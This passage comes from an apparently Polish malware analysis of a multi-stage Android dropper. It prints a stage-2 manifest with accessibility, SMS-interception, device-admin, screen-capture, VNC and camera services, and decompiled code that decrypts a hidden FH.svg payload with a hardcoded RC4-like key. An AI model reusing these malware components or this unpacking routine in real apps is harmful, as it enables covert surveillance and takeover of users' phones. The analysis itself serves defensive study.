&lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m0a0cac5c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;F0a0cac5c_11&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;qU213D3A332A263A3F2D&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentTimeMillis&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Odzyskane nazwy zdarzeń obejmują m.in.:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dropper_opened&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;install_started&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;install_completed&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;install_failed&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;implant_launched&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Manifest etapu 2&lt;/h4&gt;
&lt;p&gt;Po rozpakowaniu widać, że &lt;code&gt;io.cifnzm.utility67pu&lt;/code&gt; udostępnia już komponenty związane z ułatwieniami dostępu, SMS-ami, uprawnieniami administratora, przechwytywaniem ekranu i kamerą. Jeszcze zanim zostanie rozpakowany ukryty etap &lt;code&gt;FH.svg&lt;/code&gt;, manifest drugiego etapu wygląda jednoznacznie złośliwie:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;service&lt;/span&gt;
    &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;io.cifnzm.utility67pu.appcontainer.servicehandles.TscTscbltService&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:permission=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.permission.BIND_ACCESSIBILITY_SERVICE&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:exported=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:foregroundServiceType=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;specialUse|connectedDevice|dataSync&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;intent-filter&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;action&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.accessibilityservice.AccessibilityService&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/intent-filter&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;meta-data&lt;/span&gt;
        &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.accessibilityservice&amp;quot;&lt;/span&gt;
        &lt;span class="na"&gt;android:resource=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;@xml/accessibility_service_config&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/service&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;service&lt;/span&gt;
    &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;io.cifnzm.utility67pu.appcontainer.servicehandles.SmsCollectionService&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;receiver&lt;/span&gt;
    &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;io.cifnzm.utility67pu.appcontainer.rcv4.SmsReceivedReceiver&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:permission=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.permission.BROADCAST_SMS&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:enabled=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:exported=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;intent-filter&lt;/span&gt; &lt;span class="na"&gt;android:priority=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;999&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;action&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.provider.Telephony.SMS_RECEIVED&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/intent-filter&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/receiver&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;receiver&lt;/span&gt;
    &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;io.cifnzm.utility67pu.appcontainer.permissions.DeviceAdminReceiver&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:permission=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.permission.BIND_DEVICE_ADMIN&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:exported=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;activity&lt;/span&gt;
    &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;io.cifnzm.utility67pu.appcontainer.ScreenCaptureRequestActivity&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:exported=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;false&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;service&lt;/span&gt;
    &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;io.cifnzm.utility67pu.appcontainer.ScreenSharingService&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:enabled=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:exported=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;false&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:foregroundServiceType=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;mediaProjection&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;service&lt;/span&gt;
    &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;io.cifnzm.utility67pu.appcontainer.VncScreenSharingService&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:enabled=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:exported=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;false&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:foregroundServiceType=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;specialUse&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;service&lt;/span&gt;
    &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;io.cifnzm.utility67pu.appcontainer.CameraService&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:enabled=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:exported=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;false&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:foregroundServiceType=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;camera&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Oznacza to, że etap 2 zawiera już strukturalne komponenty modułu złośliwego oprogramowania, a nie nieszkodliwy moduł aktualizacyjny.&lt;/p&gt;
&lt;h4&gt;Etap 3: ukryty payload FH.svg i rozpakowanie z użyciem algorytmu przypominającego RC4&lt;/h4&gt;
&lt;p&gt;Najważniejsze rzecz znaleziona podczas analizy polega na tym, że zainstalowany &lt;code&gt;io.cifnzm.utility67pu&lt;/code&gt; nadal nie jest finalnym etapem. Jego klasa &lt;code&gt;Application&lt;/code&gt;, &lt;code&gt;Cgridthey&lt;/code&gt;, wydobywa kolejny ukryty zasób &lt;code&gt;FH.svg&lt;/code&gt; i odszyfrowuje go przed uruchomieniem właściwego payloadu.&lt;/p&gt;
&lt;p&gt;Kluczowe stałe etapu 3 są widoczne bezpośrednio w kodzie:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;shrimp&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;FH.svg&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;mLYQ&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Procedura deszyfrowania w &lt;code&gt;Cgridthey&lt;/code&gt; ma charakter podobny do RC4:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;B&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i7&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;q&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;562336&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;i7&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i8&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;p&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i9&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;951570&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;i8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;z&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i10&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i11&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;z&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;i10&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;794100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;794022&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;i11&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;i11&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i12&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i9&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;369750&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;i8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i12&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i13&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;w&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i8&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;436916&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;i13&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i14&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i15&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;120857&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;i14&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;743786&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;i13&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;z&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i15&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i16&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i13&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;710192&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;434037&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;i14&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;i15&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;z&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i16&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;iArr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;q&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;i16&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;918003&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;69410&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i7&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;i10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;i12&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;155490&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;145146&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;i10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;i14&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i17&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i17&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i17&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;iArr&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i17&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i17&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i18&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i19&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;q&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i20&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;z&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i21&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="mi"&gt;586797&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;i18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;967789&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i19&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;i20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i21&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;i20&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1844839965&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i21&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;i18&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i22&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i23&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i23&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i23&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="n"&gt;i22&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;i22&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;iArr&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i23&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i23&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i23&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iArr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i40&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i40&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;bArr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i40&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
